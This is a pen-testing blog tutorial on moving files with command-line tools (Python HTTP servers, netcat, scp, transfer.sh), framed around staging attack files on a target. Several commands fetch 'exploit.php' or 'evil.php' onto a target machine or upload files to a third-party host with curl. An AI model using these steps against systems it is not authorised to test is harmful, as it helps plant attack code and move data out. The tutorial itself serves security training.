How to transfer files using command-line from Terminal

A pen tester should be well equipped with different tricks to transfer files from a remote server as well from one directory to another. In this tutorial, we shall discuss different ways to transfer files using the command-line.

-Advertisement-

Transferring exploits, python scripts, and loading modules are often needed during penetration testing activities. Since the terminal is the tool used mostly, its essential to understand the basics of the file transfer.

A pen tester should be well equipped with different tricks to transfer files from a remote server as well from one directory to another. In this tutorial, we shall discuss different ways to transfer files using the command-line.

1. Python Server

Python is the basic package that comes preinstalled in almost all the Debian based systems. To transfer a file from one machine to another, do the following;

Python2:

Switch to the directory where your file that you want to transfer exists. Start a simple python server. Enter the following command;

-Advertisement-

$ python -m SimpleHTTPServer 8080

Now go to the machine where you want to transfer the file. Use the following command to download the file;

$ wget http://192.168.43.177:8080/file

Remember to replace the IP, Port number & name of the file.

-Advertisement-

Python3:

Anything written in python2 will almost always break in python3. So we also look at how to transfer a file using python3.

In the case of python3, enter the following command to start a simple python server.

$ python3 -m http.server 8080

-Advertisement-

To download the file on the target, enter the following command;

$ wget http://192.168.43.177:8080/exploit.php

Python3 File Transfer
Python3 File Transfer

2. Netcat

Netcat is a powerful utility to transfer files from any remote machine to a local machine. It may not always be installed. You can check whether it exists or not by entering;

$ which netcat
Alternatively, by entering;
$ which nc

Make a netcat server with the following command;

$ nc -nlvp 8080 < evil.php

Now go to the target machine and enter the following to download the file;

$ nc -nv 192.168.43.177 8080 > evil.php

Netcat file transfer
Netcat file transfer

Replace nc with netcat in the above commands if nc doesn’t work or is not installed correctly.

3. SCP

Secure Copy Protocol is a powerful tool for transferring files. It comes in handy especially when you want to transfer directories. Its also mostly used for file transfers over ssh.

For transfer file via ssh, enter the following command on sending machine;

$ scp -i new.pem test.py ubuntu@18.220.68.229:/home/ubuntu
Where -i represents the public key for ssh login, test.py is the file to be transferred and /home/ubuntu is the target directory where we want to save the file.

SCP Remote File Transfer
SCP Remote File Transfer

To download a file from the remote machine, enter the following command;

$ scp root@192.168.43.177:/remote_directory/file /local/directory

SCP Local File Download
SCP Local File Download

4. Transfer.sh

You can use this third-party tool to transfer files. It can be useful when you don’t have a machine with public IP, and you still have to transfer the files. The following command uploads the file to the transfer.sh servers;

$ curl --upload-file ./file.txt https://transfer.sh/file.txt

To download the file, enter the following command;

$ curl https://transfer.sh//file.txt -o file.txt

Transfer.sh is still under development and may not work always.

Conclusion

Command-line tools give us the ability to transfer files in various ways. They may seem a bit complicated but getting hands-on them gives the capability to easily manage files, especially when a GUI option is not available.

-Advertisement-
Zohaib Yousaf
My name is Zohaib Yousaf. I'm an Ethical Hacker & a Pen Tester. Python scripting and Bash automation is my hobby. My research work is in Anonymity. I have co-worked in development of few anonymity solutions which implemented different Cryptographic Algorithms.

LEAVE A REPLY

Please enter your comment!
Please enter your name here

STAY CONNECTED

23,639FansLike
362FollowersFollow
16SubscribersSubscribe

LATEST ARTICLES

Top 20 Git Commands with Practical Examples

If you are here reading this post, there is a high probability that you have heard or interacted with Github, and you now want to learn Git. Before we continue with showing you some of the cool Git commands, let's understand the difference between Git and GitHub.

Top 10 New Features in Linux Kernel 5.7

Linus Torvalds has announced the release of Linux Kernel 5.7 after seven weeks of development. The release announcement comes as a piece of exciting news as it brings a host of new features for the hardware manufacturers as well as the developers.

How to install CMake on Ubuntu

CMake is a cross-platform free and open-source software tool designed to build, test, and package the software. CMake uses a simple platform and compiler-independent configuration files to control the software compilation process.

How to install Lightworks on Ubuntu

Even though Linux may not get a native installer of video editing software like Adobe Premiere or Final Cut Pro, that doesn't mean there are no industry standards tools available. Lightworks is non-linear editing (NLE) video mastering app for Windows, Linux, and macOS. Installing it on Ubuntu is simple due to deb package availability.

How to install DaVinci Resolve on Fedora

Davinci Resolve is a professional application used for color correction, video editing, visual effects, and motion graphics. It is one of the extensively used software by movie industries located in Hollywood.

The 10 Best Programming Languages for Hacking

One of the significant entities we have in Cyber Security is Ethical Hacking (ETH). It is the process of detecting and finding flaws or vulnerabilities in a system that a hacker would exploit.

MUST READ

Linux is growing faster than ever. As per the latest report, there is a drop in the Windows 10 market share for the first time, and Linux's market share has improved to 2.87% this month. Most of the features in the list were rolled out in the Pop OS 20.04. Let's a detailed look into the new features, how to upgrade, and a ride through video.
Elementary OS 5.1 Hera has received a point release with a handful of new features and bug fixes, and we will be reviewing the significant changes in this article. For those new to elementary OS, this Ubuntu-based Linux distribution uses their inhouse built Pantheon desktop environment and AppCenter.

How to dual-boot Ubuntu and Fedora on your PC

Every Linux distribution has its capabilities and preferences as per the user requirements. That brings forth the need to run different distros on one laptop. For example, a CyberSecurity enthusiast might prefer to use Ubuntu for development and Kali Linux for penetration testing.

6 Best Linux Distros for Programmers and Developers

Linux distros have long been a favorite among programmers since the rise in popularity of the OS in the nineties. Programmers are technical by nature, and Linux distros appeal to that technical nature. Let's discuss why Linux is a great desktop OS for programmers and developers, and find out best distros suitable for them.

VIDEO: MX Linux 19 Features and Desktop Tour

MX Linux is a Linux distribution based on Debian stable and using core antiX components. The distributions MX Tools is very popular among users and combined with other several ready-to-use tools, it is great for users who prefer to tweak their distro to their liking. In this video, we will take you through the features tour showing casing MX Linux 19.

6 Best Linux Distributions for Beginners

Making the shift to Linux is not as complicated as some people make it out to be. There is a variety of Linux distributions available that cater to the needs of people who are planning on making the jump to Linux from any other operating system.